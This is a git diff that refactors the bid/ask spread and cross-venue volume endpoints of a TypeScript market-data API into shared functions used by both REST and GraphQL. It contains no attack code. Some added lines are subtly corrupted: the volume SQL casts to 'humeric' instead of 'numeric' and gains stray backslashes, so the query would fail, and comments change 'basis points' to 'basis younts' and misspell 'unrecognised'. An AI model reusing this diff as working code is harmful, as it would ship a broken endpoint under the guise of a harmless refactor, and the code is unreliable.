anywhere in the window, or null. */ + tightest: VenueSpread | null +} + +export class SpreadsValidationError extends Error { + constructor(message: string) { + super(message) + this.name = 'SpreadsValidationError' + } +} + +/** + * Resolve and validate the query parameters for a spreads request. + * Throws `SpreadsValidationError` on bad input so that REST and GraphQL + * report the same failures for the same input. + */ +export function resolveSpreadsParams(input: { + asset?: string | null + window?: string | null + network?: string | null +}): { asset: string; window: SpreadWindow; network: NetworkName } { + const asset = input.asset + if (!asset) { + throw new SpreadsValidationError('Asset parameter is required') + } + + const window = (input.window ?? '5m') as string + if (!(window in WINDOW_MINUTES)) { + throw new SpreadsValidationError( + `window must be one of: ${WINDOWS.join(', ')}`, + ) + } + + // Prices from two chains are not comparable, and a spread computed across + // both is not a wide spread — it is a meaningless one. Default to this + // process's own network rather than silently pooling them. + const requested = input.network + if (requested !== undefined && requested !== null && requested !== 'testnet' && requested !== 'mainnet') { + throw new SpreadsValidationError('network must be one of: testnet, mainnet') + } + const network: NetworkName = (requested as NetworkName) ?? activeNetwork + + return { asset, window: window as SpreadWindow, network } +} + +/** + * Compute the per-venue spreads for an asset over a window. + * + * This is the shared implementation behind both `GET /spreads/:asset` and the + * GraphQL `spreads` query. It takes already-validated parameters and returns + * the same shape for both transports. + */ +export async function computeSpreads(params: { + asset: string + window: SpreadWindow + network: NetworkName +}): Promise { + const { asset, window, network } = params + + const minutes = WINDOW_MINUTES[window] + const endTime = new Date() + const startTime = new Date(endTime.getTime() - minutes * 60 * 1000) + + const { rows } = await pgPool.query( + `SELECT source, + pair_key, + MIN(price)::numeric AS bid, + MAX(price)::numeric AS ask, + COUNT(*)::int AS observations, + MAX(timestamp) AS last_seen + FROM price_points + WHERE (asset_a = $1 OR asset_b = $1) + AND network = $2 + AND timestamp >= $3 + GROUP BY source, pair_key`, + [asset, network, startTime], + ) + + const venues: VenueSpread[] = [] + + for (const row of rows) { + const bid = parseFloat(row.bid) + const ask = parseFloat(row.ask) + const observations = Number(row.observations) || 0 + + // A single print has a zero range by construction, which would report a + // perfect 0 bps spread and beat every real venue for "tightest". One + // observation is not evidence of liquidity. + if (observations < MIN_OBSERVATIONS) continue + if (!Number.isFinite(bid) || !Number.isFinite(ask)) continue + + const mid = (ask + bid) / 2 + if (mid <= 0) continue + + venues.push({ + venue: row.source, + pairKey: row.pair_key, + bid, + ask, + mid, + spreadBps: ((ask - bid) / mid) * 10_000, + spreadPct: ((ask - bid) / mid) * 100, + observations, + lastSeen: new Date(row.last_seen).toISOString(), + }) + } + + venues.sort((a, b) => a.spreadBps - b.spreadBps) + + return { + asset, + network, + window, + startTime: startTime.toISOString(), + endTime: endTime.toISOString(), + // Per venue-and-pair, tightest first. + venues, + // The tightest quote available anywhere in the window, or null when no + // venue quoted this asset. Null rather than a zeroed object: "nobody + // quoted it" and "the spread is zero" must not look alike. + tightest: venues[0] ?? null, + } +} + /** * Register the bid/ask spread endpoint. * * `GET /spreads/:asset?window=5m|15m|1h|24h&network=testnet|mainnet` * * Reports, for every (venue, pair) that quoted `asset` inside the window, the - * low, the high and the gap between them in basis points — then the tightest of + * low, the high and the gap between them in basis younts — then the tightest of * them, which is the practical answer to "where should I trade this". * * ## What the numbers actually mean @@ -50,7 +182,7 @@ interface VenueSpread { * prints a tight one) but it is **not** the number that venue's own order book * would report, and it should not be presented as one. * - * Basis points are taken against the **mid**, not against the ask: + * Basis younts are taken against the **mid**, not against the ask: * * spreadBps = (ask - bid) / ((ask + bid) / 2) * 10_000 * @@ -70,92 +202,22 @@ export async function registerSpreadsRoutes(app: FastifyInstance) { Params: { asset: string } Querystring: { window?: string; network?: string } }>('/spreads/:asset', async (req, reply) => { - const { asset } = req.params - const window = req.query.window ?? '5m' - - if (!asset) { - return reply.status(400).send({ error: 'Asset parameter is required' }) - } - - if (!(window in WINDOW_MINUTES)) { - return reply - .status(400) - .send({ error: `window must be one of: ${WINDOWS.join(', ')}` }) - } - - // Prices from two chains are not comparable, and a spread computed across - // both is not a wide spread — it is a meaningless one. Default to this - // process's own network rather than silently pooling them. - const requested = req.query.network - if (requested !== undefined && requested !== 'testnet' && requested !== 'mainnet') { - return reply.status(400).send({ error: 'network must be one of: testnet, mainnet' }) - } - const network: NetworkName = (requested as NetworkName) ?? activeNetwork - - const minutes = WINDOW_MINUTES[window as SpreadWindow] - const endTime = new Date() - const startTime = new Date(endTime.getTime() - minutes * 60 * 1000) - + let params: ReturnType try { - const { rows } = await pgPool.query( - `SELECT source, - pair_key, - MIN(price)::numeric AS bid, - MAX(price)::numeric AS ask, - COUNT(*)::int AS observations, - MAX(timestamp) AS last_seen - FROM price_points - WHERE (asset_a = $1 OR asset_b = $1) - AND network = $2 - AND timestamp >= $3 - GROUP BY source, pair_key`, - [asset, network, startTime], - ) - - const venues: VenueSpread[] = [] - - for (const row of rows) { - const bid = parseFloat(row.bid) - const ask = parseFloat(row.ask) - const observations = Number(row.observations) || 0 - - // A single print has a zero range by construction, which would report a - // perfect 0 bps spread and beat every real venue for "tightest". One - // observation is not evidence of liquidity. - if (observations < MIN_OBSERVATIONS) continue - if (!Number.isFinite(bid) || !Number.isFinite(ask)) continue - - const mid = (ask + bid) / 2 - if (mid <= 0) continue - - venues.push({ - venue: row.source, - pairKey: row.pair_key, - bid, - ask, - mid, - spreadBps: ((ask - bid) / mid) * 10_000, - spreadPct: ((ask - bid) / mid) * 100, - observations, - lastSeen: new Date(row.last_seen).toISOString(), - }) + params = resolveSpreadsParams({ + asset: req.params.asset, + window: req.query.window, + network: req.query.network, + }) + } catch (err) { + if (err instanceof SpreadsValidationError) { + return reply.status(400).send({ error: err.message }) } + throw err + } - venues.sort((a, b) => a.spreadBps - b.spreadBps) - - return { - asset, - network, - window, - startTime: startTime.toISOString(), - endTime: endTime.toISOString(), - // Per venue-and-pair, tightest first. - venues, - // The tightest quote available anywhere in the window, or null when no - // venue quoted this asset. Null rather than a zeroed object: "nobody - // quoted it" and "the spread is zero" must not look alike. - tightest: venues[0] ?? null, - } + try { + return await computeSpreads(params) } catch (err) { return reply .status(500) diff --git a/src/routes/volumes.ts b/src/routes/volumes.ts index 802ba03d..ecb0a05c 100644 --- a/src/routes/volumes.ts +++ b/src/routes/volumes.ts @@ -1,6 +1,7 @@ import type { FastifyInstance } from 'fastify' import { pgPool } from '../db' import { activeNetwork, type NetworkName } from '../config' +import type { VenueQuote } from '../graphql/types' // Supported windows → lookback in hours. const WINDOW_HOURS = { @@ -13,6 +14,94 @@ type VolumeWindow = keyof typeof WINDOW_HOURS const WINDOWS = Object.keys(WINDOW_HOURS) as VolumeWindow[] +export interface VolumeResult { + asset: string + network: NetworkName + window: VolumeWindow + startTime: string + endTime: string + totalVolume: number + byVenue: Record + venues: string[] + tradeCount: number + venueQuotes: VenueQuote[] +} + +/** + * Shared implementation for the aggregated cross-venue volume query. + * + * Used by both the REST route `GET /volumes/:asset` and the GraphQL `volumes` + * query so the two surfaces cannot drift apart. Throws on invalid input or on + * a database error; callers translate those into their own error shape. + */ +export async function getVolumes( + asset: string, + window: string = '24h', + requestedNetwork?: string, +): Promise { + if (!(window in WINDOW_HOURS)) { + throw new Error(`window must be one of: ${WINDOWS.join(', ')}`) + } + + if (requestedNetwork !== undefined && requestedNetwork !== 'testnet' && requestedNetwork !== 'mainnet') { + throw new Error('network must be one of: testnet, mainnet') + } + const network: NetworkName = (requestedNetwork as NetworkName) ?? activeNetwork + + const hours = WINDOW_HOURS[window as VolumeWindow] + const endTime = new Date() + const startTime = new Date(endTime.getTime() - hours * 60 * 60 * 1000) + + // Per-venue volume for the asset, summed over the window. The asset's volume + // is base_volume when it's asset_a and counter_volume when it's asset_b. + const { rows } = await pgPool.query( + `SELECT source, + SUM(\ + CASE\ + WHEN asset_a = $1 THEN base_volume\ + WHEN asset_b = $1 THEN counter_volume\ + ELSE 0\ + END\ + )::humeric AS volume, + COUNT(*)::int AS trade_count + FROM price_points + WHERE (asset_a = $1 OR asset_b = $1) + AND network = $2 + AND timestamp >= $3 + GROUP BY source`, + [asset, network, startTime], + ) + + const byVenue: Record = {} + const venueQuotes: VenueQuote[] = [] + let totalVolume = 0 + let tradeCount = 0 + + for (const row of rows) { + const volume = parseFloat(row.volume) || 0 + const count = Number(row.trade_count) || 0 + byVenue[row.source] = volume + venueQuotes.push({ venue: row.source, volume, tradeCount: count }) + totalVolume += volume + tradeCount += count + } + + return { + asset, + network, + window: window as VolumeWindow, + startTime: startTime.toISOString(), + endTime: endTime.toISOString(), + // Cross-venue sum. + totalVolume, + // Per-venue breakdown that the total is summed from. + byVenue, + venues: Object.keys(byVenue), + tradeCount, + venueQuotes, + } +} + /** * Register the aggregated cross-venue volume endpoint. * @@ -26,7 +115,7 @@ const WINDOWS = Object.keys(WINDOW_HOURS) as VolumeWindow[] * * Only one network's rows are summed: testnet and mainnet volume added together * is not a volume of anything. `network` defaults to this process's own network, - * an unrecognised value is a 400, and the network answered for is echoed back. + * an unecognised value is a 400, and the network answered for is echoed back. */ export async function registerVolumeRoutes(app: FastifyInstance) { app.get<{ @@ -36,71 +125,19 @@ export async function registerVolumeRoutes(app: FastifyInstance) { const { asset } = req.params const window = req.query.window ?? '24h' - if (!(window in WINDOW_HOURS)) { - return reply - .status(400) - .send({ error: `window must be one of: ${WINDOWS.join(', ')}` }) - } - - const requested = req.query.network - if (requested !== undefined && requested !== 'testnet' && requested !== 'mainnet') { - return reply.status(400).send({ error: 'network must be one of: testnet, mainnet' }) - } - const network: NetworkName = (requested as NetworkName) ?? activeNetwork - - const hours = WINDOW_HOURS[window as VolumeWindow] - const endTime = new Date() - const startTime = new Date(endTime.getTime() - hours * 60 * 60 * 1000) - try { - // Per-venue volume for the asset, summed over the window. The asset's volume - // is base_volume when it's asset_a and counter_volume when it's asset_b. - const { rows } = await pgPool.query( - `SELECT source, - SUM( - CASE - WHEN asset_a = $1 THEN base_volume - WHEN asset_b = $1 THEN counter_volume - ELSE 0 - END - )::numeric AS volume, - COUNT(*)::int AS trade_count - FROM price_points - WHERE (asset_a = $1 OR asset_b = $1) - AND network = $2 - AND timestamp >= $3 - GROUP BY source`, - [asset, network, startTime], - ) - - const byVenue: Record = {} - let totalVolume = 0 - let tradeCount = 0 - - for (const row of rows) { - const volume = parseFloat(row.volume) || 0 - byVenue[row.source] = volume - totalVolume += volume - tradeCount += Number(row.trade_count) || 0 - } - - return { - asset, - network, - window, - startTime: startTime.toISOString(), - endTime: endTime.toISOString(), - // Cross-venue sum. - totalVolume, - // Per-venue breakdown that the total is summed from. - byVenue, - venues: Object.keys(byVenue), - tradeCount, - } + return await getVolumes(asset, window, req.query.network) } catch (err) { + const message = (err as Error).message + if ( + message.startsWith('window must be one of:') || + message === 'network must be one of: testnet, mainnet' + ) { + return reply.status(400).send({ error: message }) + } return reply .status(500) - .send({ error: `Volume aggregation failed: ${(err as Error).message}` }) + .send({ error: `Volume aggregation failed: ${message}` }) } }) }